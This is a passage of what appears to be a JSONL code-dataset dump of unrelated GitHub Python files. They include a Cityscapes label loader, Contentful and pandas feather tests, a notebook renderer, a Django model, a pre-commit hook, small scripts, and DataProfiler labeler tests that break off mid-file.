#\"\"\"\n\"\"\"###############\"\"\"\n\nLabel = namedtuple( 'Label' , [\n\n 'name' , # The identifier of this label, e.g. 'car', 'person', ... .\n # We use them to uniquely name a class\n\n 'id' , # An integer ID that is associated with this label.\n # The IDs are used to represent the label in ground truth images\n # An ID of -1 means that this label does not have an ID and thus\n # is ignored when creating ground truth images (e.g. license plate).\n # Do not modify these IDs, since exactly these IDs are expected by the\n # evaluation server.\n\n 'trainId' , # Feel free to modify these IDs as suitable for your method. Then create\n # ground truth images with train IDs, using the tools provided in the\n # 'preparation' folder. However, make sure to validate or submit results\n # to our evaluation server using the regular IDs above!\n # For trainIds, multiple labels might have the same ID. Then, these labels\n # are mapped to the same class in the ground truth images. For the inverse\n # mapping, we use the label that is defined first in the list below.\n # For example, mapping all void-type classes to the same ID in training,\n # might make sense for some approaches.\n # Max value is 255!\n\n 'category' , # The name of the category that this label belongs to\n\n 'categoryId' , # The ID of this category. Used to create ground truth images\n # on category level.\n\n 'hasInstances', # Whether this label distinguishes between single instances or not\n\n 'ignoreInEval', # Whether pixels having this class as ground truth label are ignored\n # during evaluations or not\n\n 'color' , # The color of this label\n ] )\n\n\n#--------------------------------------------------------------------------------\n# A list of all labels\n#--------------------------------------------------------------------------------\n\n# Please adapt the train IDs as appropriate for your approach.\n# Note that you might want to ignore labels with ID 255 during training.\n# Further note that the current train IDs are only a suggestion. You can use whatever you like.\n# Make sure to provide your results using the original IDs and not the training IDs.\n# Note that many IDs are ignored in evaluation and thus you never need to predict these!\n\nlabels = [\n # name id trainId category catId hasInstances ignoreInEval color\n Label( 'unlabeled' , 0 , 255 , 'void' , 0 , False , True , ( 0, 0, 0) ),\n Label( 'ego vehicle' , 1 , 255 , 'void' , 0 , False , True , ( 0, 0, 0) ),\n Label( 'rectification border' , 2 , 255 , 'void' , 0 , False , True , ( 0, 0, 0) ),\n Label( 'out of roi' , 3 , 255 , 'void' , 0 , False , True , ( 0, 0, 0) ),\n Label( 'static' , 4 , 255 , 'void' , 0 , False , True , ( 0, 0, 0) ),\n Label( 'dynamic' , 5 , 255 , 'void' , 0 , False , True , (111, 74, 0) ),\n Label( 'ground' , 6 , 255 , 'void' , 0 , False , True , ( 81, 0, 81) ),\n Label( 'road' , 7 , 0 , 'flat' , 1 , False , False , (128, 64,128) ),\n Label( 'sidewalk' , 8 , 1 , 'flat' , 1 , False , False , (244, 35,232) ),\n Label( 'parking' , 9 , 255 , 'flat' , 1 , False , True , (250,170,160) ),\n Label( 'rail track' , 10 , 255 , 'flat' , 1 , False , True , (230,150,140) ),\n Label( 'building' , 11 , 2 , 'construction' , 2 , False , False , ( 70, 70, 70) ),\n Label( 'wall' , 12 , 3 , 'construction' , 2 , False , False , (102,102,156) ),\n Label( 'fence' , 13 , 4 , 'construction' , 2 , False , False , (190,153,153) ),\n Label( 'guard rail' , 14 , 255 , 'construction' , 2 , False , True , (180,165,180) ),\n Label( 'bridge' , 15 , 255 , 'construction' , 2 , False , True , (150,100,100) ),\n Label( 'tunnel' , 16 , 255 , 'construction' , 2 , False , True , (150,120, 90) ),\n Label( 'pole' , 17 , 5 , 'object' , 3 , False , False , (153,153,153) ),\n Label( 'polegroup' , 18 , 255 , 'object' , 3 , False , True , (153,153,153) ),\n Label( 'traffic light' , 19 , 6 , 'object' , 3 , False , False , (250,170, 30) ),\n Label( 'traffic sign' , 20 , 7 , 'object' , 3 , False , False , (220,220, 0) ),\n Label( 'vegetation' , 21 , 8 , 'nature' , 4 , False , False , (107,142, 35) ),\n Label( 'terrain' , 22 , 9 , 'nature' , 4 , False , False , (152,251,152) ),\n Label( 'sky' , 23 , 10 , 'sky' , 5 , False , False , ( 70,130,180) ),\n Label( 'person' , 24 , 11 , 'human' , 6 , True , False , (220, 20, 60) ),\n Label( 'rider' , 25 , 12 , 'human' , 6 , True , False , (255, 0, 0) ),\n Label( 'car' , 26 , 13 , 'vehicle' , 7 , True , False , ( 0, 0,142) ),\n Label( 'truck' , 27 , 14 , 'vehicle' , 7 , True , False , ( 0, 0, 70) ),\n Label( 'bus' , 28 , 15 , 'vehicle' , 7 , True , False , ( 0, 60,100) ),\n Label( 'caravan' , 29 , 255 , 'vehicle' , 7 , True , True , ( 0, 0, 90) ),\n Label( 'trailer' , 30 , 255 , 'vehicle' , 7 , True , True , ( 0, 0,110) ),\n Label( 'train' , 31 , 16 , 'vehicle' , 7 , True , False , ( 0, 80,100) ),\n Label( 'motorcycle' , 32 , 17 , 'vehicle' , 7 , True , False , ( 0, 0,230) ),\n Label( 'bicycle' , 33 , 18 , 'vehicle' , 7 , True , False , (119, 11, 32) ),\n Label( 'license plate' , -1 , -1 , 'vehicle' , 7 , False , True , ( 0, 0,142) ),\n]\n\n\"\"\"###################\"\"\"\n\"\"\"# Transformations #\"\"\"\n\"\"\"###################\"\"\"\n\ndef logits2trainId(logits):\n \"\"\"\n Transform output of network into trainId map\n :param logits: output tensor of network, before softmax, should be in shape (#classes, h, w)\n \"\"\"\n # squeeze logits\n # num_classes = logits.size[1]\n upsample = torch.nn.Upsample(size=(1024, 2048), mode='bilinear', align_corners=False)\n logits = upsample(logits.unsqueeze_(0))\n logits.squeeze_(0)\n logits = torch.argmax(logits, dim=0)\n\n return logits\n\n\ndef trainId2color(dataset_root, id_map, name):\n \"\"\"\n Transform trainId map into color map\n :param dataset_root: the path to dataset root, eg. '/media/ubuntu/disk/cityscapes'\n :param id_map: torch tensor\n :param name: name of image, eg. 'gtFine/test/leverkusen/leverkusen_000027_000019_gtFine_labelTrainIds.png'\n \"\"\"\n # transform = {label.trainId: label.color for label in labels}\n assert len(id_map.shape) == 2, 'Id_map must be a 2-D tensor of shape (h, w) where h, w = H, W / output_stride'\n h, w = id_map.shape\n color_map = np.zeros((h, w, 3))\n id_map = id_map.cpu().numpy()\n for label in labels:\n if not label.ignoreInEval:\n color_map[id_map == label.trainId] = np.array(label.color)\n color_map = color_map.astype(np.uint8)\n # color_map = cv2.resize(color_map, dsize=(2048, 1024), interpolation=cv2.INTER_NEAREST)\n\n # save trainIds and color\n cv2.imwrite(dataset_root + '/' + name, id_map)\n name = name.replace('labelTrainIds', 'color')\n cv2.imwrite(dataset_root + '/' + name, color_map)\n\n return color_map\n\n\ndef trainId2LabelId(dataset_root, train_id, name):\n \"\"\"\n Transform trainId map into labelId map\n :param dataset_root: the path to dataset root, eg. '/media/ubuntu/disk/cityscapes'\n :param id_map: torch tensor\n :param name: name of image, eg. 'gtFine/test/leverkusen/leverkusen_000027_000019_gtFine_labelTrainIds.png'\n \"\"\"\n assert len(train_id.shape) == 2, 'Id_map must be a 2-D tensor of shape (h, w) where h, w = H, W / output_stride'\n h, w = train_id.shape\n label_id = np.zeros((h, w, 3))\n train_id = train_id.cpu().numpy()\n for label in labels:\n if not label.ignoreInEval:\n label_id[train_id == label.trainId] = np.array([label.id]*3)\n label_id = label_id.astype(np.uint8)\n # label_id = cv2.resize(label_id, dsize=(2048, 1024), interpolation=cv2.INTER_NEAREST)\n\n name = name.replace('labelTrainIds', 'labelIds')\n cv2.imwrite(dataset_root + '/' + name, label_id)\n\n\nclass Cityscapes(Dataset):\n def __init__(self, dataset_dir, mode='train', transforms=None):\n \"\"\"\n Create Dataset subclass on cityscapes dataset\n :param dataset_dir: the path to dataset root, eg. '/media/ubuntu/disk/cityscapes'\n :param mode: phase, 'train', 'test' or 'eval'\n :param transforms: transformation\n \"\"\"\n self.dataset = dataset_dir\n self.transforms = transforms\n require_file = ['trainImages.txt', 'trainLabels.txt',\n 'valImages.txt', 'valLabels.txt',\n 'testImages.txt', 'testLabels.txt']\n\n # check requirement\n if mode not in ['train', 'test', 'val']:\n raise ValueError('Unsupported mode %s' % mode)\n\n if not os.path.exists(self.dataset):\n raise ValueError('Dataset not exists at %s' % self.dataset)\n\n for file in require_file:\n if file not in os.listdir(self.dataset):\n # raise ValueError('Cannot find file %s in dataset root folder!' % file)\n generate_txt(self.dataset, file)\n\n # create image and label list\n self.image_list = []\n self.label_list = []\n if mode == 'train':\n for line in open(os.path.join(self.dataset, 'trainImages.txt')):\n self.image_list.append(line.strip())\n for line in open(os.path.join(self.dataset, 'trainLabels.txt')):\n self.label_list.append(line.strip())\n elif mode == 'val':\n for line in open(os.path.join(self.dataset, 'valImages.txt')):\n self.image_list.append(line.strip())\n for line in open(os.path.join(self.dataset, 'valLabels.txt')):\n self.label_list.append(line.strip())\n else:\n for line in open(os.path.join(self.dataset, 'testImages.txt')):\n self.image_list.append(line.strip())\n for line in open(os.path.join(self.dataset, 'testLabels.txt')):\n self.label_list.append(line.strip())\n\n def __len__(self):\n return len(self.image_list)\n\n def __getitem__(self, index):\n \"\"\"\n Overrides default method\n tips: 3 channels of label image are the same\n \"\"\"\n image = cv2.imread(os.path.join(self.dataset, self.image_list[index]))\n label = cv2.imread(os.path.join(self.dataset, self.label_list[index])) # label.size (1024, 2048, 3)\n image_name = self.image_list[index]\n label_name = self.label_list[index]\n\n sample = {'image': image, 'label': label[:, :, 0],\n 'image_name': image_name, 'label_name': label_name}\n\n if self.transforms:\n sample = self.transforms(sample)\n\n return sample\n\n\ndef create_datasets(params):\n \"\"\"\n Create datasets of Cityscapes for training, testing and validating\n\n :return datasets: a python dictionary includes three datasets\n \"\"\"\n phase = ['train', 'val', 'test']\n # if params.dataset_root is not None and not os.path.exists(params.dataset_root):\n # raise ValueError('Dataset not exists!')\n\n transform = {'train': transforms.Compose([RandomResizedCrop(params.image_size, scale=(0.5, 2.0)),\n RandomHorizontalFlip(),\n ToTensor()\n ]),\n 'val' : transforms.Compose([RandomResizedCrop(params.image_size, scale=(0.5, 2.0)),\n ToTensor()\n ]),\n 'test' : transforms.Compose([ToTensor()\n ])}\n\n # file_dir = {p: os.path.join(params.dataset_root, p) for p in phase}\n\n # datasets = {Cityscapes(file_dir[p], mode=p, transforms=transform[p]) for p in phase}\n datasets = {p: Cityscapes(params.dataset_root, mode=p, transforms=transform[p]) for p in phase}\n\n return datasets\n\n\nif __name__ == '__main__':\n from config import Params\n pp = Params()\n pp.dataset_root = '/media/ubuntu/disk/cityscapes'\n datasets = create_datasets(pp)\n","repo_name":"94mia/DeepLEGO","sub_path":"datasets/cityscapes.py","file_name":"cityscapes.py","file_ext":"py","file_size_in_byte":14396,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"21"} +{"seq_id":"13102885395","text":"import vcr\nfrom unittest import TestCase\nfrom contentful_management.content_type_entries_proxy import ContentTypeEntriesProxy\nfrom contentful_management.errors import NotFoundError\nfrom .test_helper import CLIENT, PLAYGROUND_SPACE\n\n\nclass ContentTypesEntriesProxyTest(TestCase):\n def test_content_types_entries_proxy(self):\n proxy = ContentTypeEntriesProxy(CLIENT, PLAYGROUND_SPACE, 'master', 'foo')\n\n self.assertEqual(str(proxy), \"\".format(PLAYGROUND_SPACE))\n\n @vcr.use_cassette('fixtures/entry/all_content_type.yaml')\n def test_content_types_entries_proxy_all(self):\n proxy = ContentTypeEntriesProxy(CLIENT, PLAYGROUND_SPACE, 'master', 'foo')\n\n entries = []\n\n self.assertFalse(entries)\n\n entries = proxy.all()\n\n self.assertTrue(entries)\n\n @vcr.use_cassette('fixtures/entry/find_content_type.yaml')\n def test_content_types_entries_proxy_find(self):\n proxy = ContentTypeEntriesProxy(CLIENT, PLAYGROUND_SPACE, 'master', 'foo')\n\n entry = proxy.find('4RToqNcBfW6MAK0UGU0qWc')\n\n self.assertEqual(entry.name, 'foobar')\n\n @vcr.use_cassette('fixtures/entry/create_content_type.yaml')\n def test_content_types_entries_proxy_create(self):\n proxy = ContentTypeEntriesProxy(CLIENT, PLAYGROUND_SPACE, 'master', 'foo')\n\n entry = proxy.create('id_create_content_type_proxy_test', {\n 'fields': {\n 'name': {\n 'en-US': 'test'\n }\n }\n })\n\n self.assertEqual(entry.name, 'test')\n self.assertEqual(entry.id, 'id_create_content_type_proxy_test')\n\n @vcr.use_cassette('fixtures/entry/delete_content_type.yaml')\n def test_content_types_entries_proxy_delete(self):\n proxy = ContentTypeEntriesProxy(CLIENT, PLAYGROUND_SPACE, 'master', 'foo')\n\n proxy.delete('1zquSqZeokECU2Wike2cQi')\n\n with vcr.use_cassette('fixtures/entry/not_found_content_type.yaml'):\n with self.assertRaises(NotFoundError):\n proxy.find('1zquSqZeokECU2Wike2cQi')\n","repo_name":"contentful/contentful-management.py","sub_path":"tests/content_type_entries_proxy_test.py","file_name":"content_type_entries_proxy_test.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"21"} +{"seq_id":"28178229132","text":"# Definition for a binary tree node.\r\n# class TreeNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n\"\"\"\r\nDFS)递归算法,每次递归交换当前节点的左右子树,同时对左右子树做同样的处理。\r\n\"\"\"\r\nclass Solution(object):\r\n def invertTree(self, root):\r\n \"\"\"\r\n :type root: TreeNode\r\n :rtype: TreeNode\r\n \"\"\"\r\n if not root:\r\n return None\r\n\r\n if root.left or root.right:\r\n temp = root.left\r\n root.left = self.invertTree(root.right)\r\n root.right = self.invertTree(temp)\r\n return root\r\n","repo_name":"jasonusaco/Leetcode-Practice","sub_path":"Tree&Graphs/lc226.py","file_name":"lc226.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11412059088","text":"#!/usr/bin/env python3\n\nimport papermill as pm\nimport jupytext as jtx\nfrom tempfile import NamedTemporaryFile, TemporaryDirectory\nfrom nbconvert.preprocessors import TagRemovePreprocessor\nfrom .pandoc import run_pandoc\nfrom nbformat import NotebookNode\nimport os\n\n\ndef _remove_cells(nb: NotebookNode):\n \"\"\"Remove inputs, outputs or both, depending on the cell-tags.\n\n Relies on a TagRemovePreprocessor from nbconvert.\n\n Parameters\n ----------\n nb\n Input notebook.\n\n\n Returns\n -------\n nb: NotebookNode\n NotebookNode with cells removed.\n\n \"\"\"\n tag_remove_preprocessor = TagRemovePreprocessor(\n remove_cell_tags=[\"hide_cell\", \"remove_cell\"],\n remove_all_outputs_tags=[\"hide_output\", \"remove_output\"],\n remove_input_tags=[\"hide_input\", \"remove_input\"],\n )\n nb, _ = tag_remove_preprocessor.preprocess(nb, None)\n # The tag remove preprocessor only adds `transient: 'remove_source'`\n # to each cell. This option is not understood by pandoc.\n # We will therefore remove the contents from the `source` field.\n for cell in nb.cells:\n try:\n if cell[\"transient\"][\"remove_source\"]:\n cell[\"source\"] = \"\"\n except KeyError:\n pass\n return nb\n\n\ndef _run_papermill(nb_path: str, out_file: str, params: dict):\n \"\"\"execute .ipynb file using papermill and write\n results to out_file in ipynb format.\n\n See Also\n --------\n papermill.execute_notebook : Execute a notebook using papermill.\n \"\"\"\n # excplicitly specify the Python 3 kernel to override the notebook-metadata.\n pm.execute_notebook(\n nb_path, out_file, parameters=params, log_output=True, kernel_name=\"python3\"\n )\n\n\ndef render_papermill(input_file: str, output_file: str, params: dict = None):\n \"\"\"\n Wrapper function to render a jupytext/jupyter notebook\n with papermill and pandoc.\n\n Parameters\n ----------\n input_file\n path to input file. Can be any format supported by jupytext.\n output_file\n path to output (html) file.\n params\n parameter dictionary that will be passed to papermill.\n See https://papermill.readthedocs.io/en/latest/usage-parameterize.html for more details.\n \"\"\"\n\n # Directory the notebook is located in. Will be used as additional resource path for pandoc.\n nb_dir = os.path.abspath(os.path.dirname(input_file))\n\n with NamedTemporaryFile(suffix=\".ipynb\") as tmp_nb_converted:\n with NamedTemporaryFile(suffix=\".ipynb\") as tmp_nb_executed:\n with TemporaryDirectory() as tmp_dir_nb_cleaned:\n # Create this file manually with given name\n # so that pandoc gracefully falls back to the\n # file name if no title is specified within the file. (#17)\n tmp_nb_cleaned = os.path.join(\n tmp_dir_nb_cleaned,\n os.path.splitext(os.path.basename(input_file))[0] + \".ipynb\",\n )\n\n # convert to ipynb\n nb = jtx.read(input_file)\n jtx.write(nb, tmp_nb_converted.name)\n\n # execute notebook\n _run_papermill(\n tmp_nb_converted.name, tmp_nb_executed.name, params=params\n )\n\n # hide inputs, outputs etc.\n nb_exec = jtx.read(tmp_nb_executed.name)\n _remove_cells(nb_exec)\n jtx.write(nb_exec, tmp_nb_cleaned)\n\n # convert to html\n run_pandoc(tmp_nb_cleaned, output_file, res_path=[nb_dir])\n","repo_name":"grst/reportsrender","sub_path":"reportsrender/papermill.py","file_name":"papermill.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"46404095654","text":"from django.db import models\n\n# Create your models here.\n\nclass Previdenciario(models.Model):\n \n STATUS_BENEFICIOS = (\n ('Aposentadoria por Idade', 'Aposentadoria por Idade'),\n ('Aposentadoria por Tempo de Contribuição', 'Aposentadoria por Tempo de Contribuição'),\n ('Aposentadoria por Invalidez', 'Aposentadoria por Invalidez'),\n ('Pensão por Morte', 'Pensão por Morte'),\n ('Auxilio Doença', 'Auxilio Doença'),\n ('Auxilio Reclusão', 'Auxilio Reclusão'),\n ('Auxilio Maternidade', 'Auxilio Maternidade'),\n ('Benefícios Assistenciais', 'Benefícios Assistenciais'),\n ('Abono Anual', 'Abono Anual'),\n ('Revisão de Beneficio', 'Revisão de Beneficio'),\n ('Auxilio Acidente', 'Auxilio Acidente'),\n ('Acréscimo de 25/Porcentagem LOAS', 'Acréscimo de 25/Porcentagem LOAS'),\n\n )\n\n STATUS_ADV = (\n ('Dr. Itiel', 'Dr. Itiel'),\n )\n\n STATUS_DOC = (\n ('Pendente', 'Pendente'),\n ('Completo', 'Completo'),\n )\n\n\n nomePrev = models.CharField(max_length=255)\n cpfPrev = models.CharField(max_length=11)\n whatsAppPrev = models.CharField(max_length=11)\n beneficiosPrev = models.CharField(\n max_length=100,\n choices=STATUS_BENEFICIOS,\n )\n advogadoPrev = models.CharField(\n max_length=255,\n choices=STATUS_ADV,\n )\n protocoloPrev = models.CharField(max_length=100)\n statusDocPrev = models.CharField(\n max_length=100,\n choices=STATUS_DOC,\n )\n docPrev = models.FileField(upload_to='uploads/%Y/%m/%d/')\n criadoPrev = models.DateTimeField(auto_now_add=True)\n modificadoPrev = models.DateTimeField(auto_now=True)\n\n\n def __str__(self):\n return self.nomePrev","repo_name":"jorgelucasalima/ControlProcess_ReSadvocacia","sub_path":"previdenciarios/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33728715952","text":"\"\"\"Check that a set of lines are included inside the content of a file.\"\"\"\n\nimport argparse\nimport sys\n\n\ndef smart_quoted(value):\n return (\n f\"'{value}'\"\n if \"'\" not in value\n else (f'\"{value}\"' if '\"' not in value else f\"'{value}'\")\n )\n\n\ndef file_check_lines(filename, expected_lines, quiet=False):\n with open(filename, encoding=\"utf-8\") as f:\n lines = f.read().splitlines()\n\n expected_lines = [line.strip(\"\\r\\n\") for line in expected_lines if line]\n if not expected_lines:\n sys.stderr.write(\"Any valid non empty expected line passed as argument\\n\")\n return 1\n\n retcode = 0\n for expected_line in expected_lines:\n if expected_line in lines:\n continue\n\n retcode = 1\n if not quiet:\n sys.stderr.write(\n f\"Line {smart_quoted(expected_line)} not found in file {filename}\\n\"\n )\n\n return retcode\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-q\", \"--quiet\", action=\"store_true\", help=\"Supress output\")\n parser.add_argument(\n \"lines_files\", nargs=\"+\", help=\"Lines and a filename to check for content\"\n )\n args = parser.parse_args()\n\n return file_check_lines(\n args.lines_files[-1], args.lines_files[:-1], quiet=args.quiet\n )\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"mondeja/pre-commit-hooks","sub_path":"hooks/file_check_lines.py","file_name":"file_check_lines.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10438416364","text":"from random import randint\n\ndef formata(n):\n return ''.join(map(str, n)) \n\ndef cria_cpf():\n \n modelo = '000-000-000.00'\n cpf = []\n \n for caracter in modelo:\n if caracter =='0':\n caracter = randint(0,9)\n cpf.append(caracter)\n \n cpf_formatado = formata(cpf)\n return cpf_formatado\n\n\nprint('-'*20)\nprint('GERADOR DE CPF'.center(20))\nprint('-'*20)\nquantidade = int(input('Deseja gerar quantos? '))\n\nfor c in range(quantidade):\n resultado = cria_cpf()\n print(f'{c+1}: {resultado}'.center(20))","repo_name":"NicholasDRR/Exs-Python","sub_path":"exs-basicos/gerador_cpf_invalido.py","file_name":"gerador_cpf_invalido.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73036110773","text":"\"\"\" test feather-format compat \"\"\"\n\nimport pytest\nfeather = pytest.importorskip('feather')\n\nimport numpy as np\nimport pandas as pd\nfrom pandas.io.feather_format import to_feather, read_feather\n\nfrom feather import FeatherError\nimport pandas.util.testing as tm\nfrom pandas.util.testing import assert_frame_equal, ensure_clean\n\n\nclass TestFeather(tm.TestCase):\n\n def setUp(self):\n pass\n\n def check_error_on_write(self, df, exc):\n # check that we are raising the exception\n # on writing\n\n def f():\n with ensure_clean() as path:\n to_feather(df, path)\n self.assertRaises(exc, f)\n\n def check_round_trip(self, df):\n\n with ensure_clean() as path:\n to_feather(df, path)\n result = read_feather(path)\n assert_frame_equal(result, df)\n\n def test_error(self):\n\n for obj in [pd.Series([1, 2, 3]), 1, 'foo', pd.Timestamp('20130101'),\n np.array([1, 2, 3])]:\n self.check_error_on_write(obj, ValueError)\n\n def test_basic(self):\n\n df = pd.DataFrame({'a': list('abc'),\n 'b': list(range(1, 4)),\n 'c': np.arange(3, 6).astype('u1'),\n 'd': np.arange(4.0, 7.0, dtype='float64'),\n 'e': [True, False, True],\n 'f': pd.Categorical(list('abc')),\n 'g': pd.date_range('20130101', periods=3),\n 'h': pd.date_range('20130101', periods=3,\n tz='US/Eastern'),\n 'i': pd.date_range('20130101', periods=3,\n freq='ns')})\n\n self.check_round_trip(df)\n\n def test_strided_data_issues(self):\n\n # strided data issuehttps://github.com/wesm/feather/issues/97\n df = pd.DataFrame(np.arange(12).reshape(4, 3), columns=list('abc'))\n self.check_error_on_write(df, FeatherError)\n\n def test_duplicate_columns(self):\n\n # https://github.com/wesm/feather/issues/53\n # not currently able to handle duplicate columns\n df = pd.DataFrame(np.arange(12).reshape(4, 3),\n columns=list('aaa')).copy()\n self.check_error_on_write(df, ValueError)\n\n def test_stringify_columns(self):\n\n df = pd.DataFrame(np.arange(12).reshape(4, 3)).copy()\n self.check_error_on_write(df, ValueError)\n\n def test_unsupported(self):\n\n # period\n df = pd.DataFrame({'a': pd.period_range('2013', freq='M', periods=3)})\n self.check_error_on_write(df, ValueError)\n\n # non-strings\n df = pd.DataFrame({'a': ['a', 1, 2.0]})\n self.check_error_on_write(df, ValueError)\n\n def test_write_with_index(self):\n\n df = pd.DataFrame({'A': [1, 2, 3]})\n self.check_round_trip(df)\n\n # non-default index\n for index in [[2, 3, 4],\n pd.date_range('20130101', periods=3),\n list('abc'),\n [1, 3, 4],\n pd.MultiIndex.from_tuples([('a', 1), ('a', 2),\n ('b', 1)]),\n ]:\n\n df.index = index\n self.check_error_on_write(df, ValueError)\n\n # index with meta-data\n df.index = [0, 1, 2]\n df.index.name = 'foo'\n self.check_error_on_write(df, ValueError)\n\n # column multi-index\n df.index = [0, 1, 2]\n df.columns = pd.MultiIndex.from_tuples([('a', 1), ('a', 2), ('b', 1)]),\n self.check_error_on_write(df, ValueError)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/pandas-dev_pandas/pandas-master/pandas/tests/io/test_feather.py","file_name":"test_feather.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"40094415342","text":"import requests\nfrom bs4 import BeautifulSoup\n\nurl = 'https://www.luminartechnolab.com/contact'\npage = requests.get(url)\ndata = page.text\nsoup = BeautifulSoup(page.content, 'html.parser')\npost_listings = soup.find_all('li', {'class': 'col-lg-3 col-md-6'})\nfinal_posting = []\nfor post in post_listings:\n contact = post.find(class_='fa fa-phone').text\n print(contact)","repo_name":"Bibin22/pythonclass","sub_path":"regular expression/webscrape.py","file_name":"webscrape.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22568815171","text":"import json\nimport os\nimport unittest\nfrom io import StringIO\nfrom unittest import mock\n\nimport numpy as np\nimport pandas as pd\n\nimport dataprofiler as dp\nfrom dataprofiler.data_readers.csv_data import AVROData, CSVData, JSONData, ParquetData\nfrom dataprofiler.labelers import data_processing\nfrom dataprofiler.labelers.base_model import BaseModel, BaseTrainableModel\nfrom dataprofiler.labelers.data_labelers import BaseDataLabeler, TrainableDataLabeler\n\ntest_root_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\n\ndef setup_save_mock_open(mock_open):\n mock_file = StringIO()\n mock_file.close = lambda: None\n mock_open.side_effect = lambda *args: mock_file\n return mock_file\n\n\nclass TestDataLabelerTrainer(unittest.TestCase):\n def test_train_method_exists(self):\n\n self.assertTrue(hasattr(dp, \"train_structured_labeler\"))\n\n with mock.patch(\"dataprofiler.train_structured_labeler\") as mock_obj:\n dp.train_structured_labeler(None)\n self.assertEqual(mock_obj.call_args, mock.call(None))\n\n def test_accepted_inputs(self):\n with self.assertRaisesRegex(\n TypeError,\n \"Input data must be either a \"\n \"`pd.DataFrame` or a `data_profiler.Data` \"\n \"and not of type `TextData`.\",\n ):\n dp.train_structured_labeler(None)\n\n with self.assertRaisesRegex(TypeError, \"The output dirpath must be a string.\"):\n dp.train_structured_labeler(pd.DataFrame([]), save_dirpath=0)\n\n with self.assertRaisesRegex(ValueError, \"`default_label` must be a string.\"):\n dp.train_structured_labeler(pd.DataFrame([]), default_label=1)\n\n # doesn't accept text data\n text_data = dp.Data(data=\"test\", data_type=\"text\")\n with self.assertRaisesRegex(\n TypeError,\n \"Input data must be either a \"\n \"`pd.DataFrame` or a `data_profiler.Data` \"\n \"and not of type `TextData`.\",\n ):\n dp.train_structured_labeler(text_data)\n\n with self.assertRaisesRegex(\n ValueError, \"The `save_dirpath` is not valid or not \" \"accessible.\"\n ):\n dp.train_structured_labeler(pd.DataFrame([]), save_dirpath=\"/a/test\")\n\n # default label not in the label mapping\n data = {\"LABEL1\": [\"word1\", \"word2\"], \"LABEL2\": [\"word3\", \"word4\"]}\n df = pd.DataFrame(data=data)\n\n with self.assertRaisesRegex(\n ValueError,\n \"The `default_label` of UNKNOWN must \" \"exist in the label mapping.\",\n ):\n dp.train_structured_labeler(df)\n\n try:\n data = {\"UNKNOWN\": [\"Beep\", \"Boop\"], \"PERSON\": [\"GRANT\", \"MENSHENG\"]}\n df = pd.DataFrame(data=data)\n dp.train_structured_labeler(df)\n\n fake_data = dp.Data(data=df, data_type=\"csv\")\n dp.train_structured_labeler(fake_data)\n\n fake_data = dp.Data(data=df, data_type=\"json\")\n dp.train_structured_labeler(fake_data)\n\n fake_data = dp.Data(data=df, data_type=\"parquet\")\n dp.train_structured_labeler(fake_data)\n\n except Exception as e:\n self.fail(str(e))\n\n # set default label to be in label mapping\n data = {\"LABEL1\": [\"word1\", \"word2\"], \"LABEL2\": [\"word3\", \"word4\"]}\n df = pd.DataFrame(data=data)\n\n try:\n default_label = \"LABEL1\"\n data_labeler = dp.train_structured_labeler(df, default_label=default_label)\n self.assertTrue(default_label in data_labeler.label_mapping)\n self.assertEqual(\n default_label, data_labeler.model._parameters[\"default_label\"]\n )\n except Exception as e:\n self.fail(str(e))\n\n\nclass TestDataLabeler(unittest.TestCase):\n @mock.patch(\n \"dataprofiler.labelers.data_labelers.\" \"BaseDataLabeler._load_data_labeler\"\n )\n def test_load_data_labeler(self, *mocks):\n # error if no labeler specified\n with self.assertRaisesRegex(\n TypeError,\n r\"__new__\\(\\) missing 1 required positional\" r\" argument: \\'labeler_type\\'\",\n ):\n data_labeler = dp.DataLabeler()\n\n # error if no labeler specified\n with self.assertRaisesRegex(\n ValueError,\n r\"No DataLabeler class types matched the \"\n r\"input, `fake_labeler`. Allowed types \"\n r\"\\[\\'structured\\', \\'unstructured\\'\\].\",\n ):\n data_labeler = dp.DataLabeler(labeler_type=\"fake_labeler\")\n\n # test loads a structured data labeler\n data_labeler = dp.DataLabeler(labeler_type=\"structured\")\n self.assertIsInstance(data_labeler, BaseDataLabeler)\n\n # test loads an unstructured data labeler\n data_labeler = dp.DataLabeler(labeler_type=\"unstructured\")\n self.assertIsInstance(data_labeler, BaseDataLabeler)\n\n @mock.patch(\"tensorflow.keras.models.load_model\")\n def test_load_from_library(self, *mocks):\n data_labeler = dp.DataLabeler.load_from_library(\"structured_model\")\n self.assertIsInstance(data_labeler, BaseDataLabeler)\n # Testing to ensure _default_model_loc is set correctly\n self.assertEqual(\"structured_model\", data_labeler._default_model_loc)\n\n data_labeler = dp.DataLabeler.load_from_library(\n \"structured_model\", trainable=True\n )\n self.assertIsInstance(data_labeler, TrainableDataLabeler)\n # Testing to ensure _default_model_loc is set correctly\n self.assertEqual(\"structured_model\", data_labeler._default_model_loc)\n\n @mock.patch(\"tensorflow.keras.models.load_model\")\n def test_load_from_disk(self, *mocks):\n import pkg_resources\n\n default_labeler_dir = pkg_resources.resource_filename(\n \"resources\", \"labelers/structured_model\"\n )\n data_labeler = 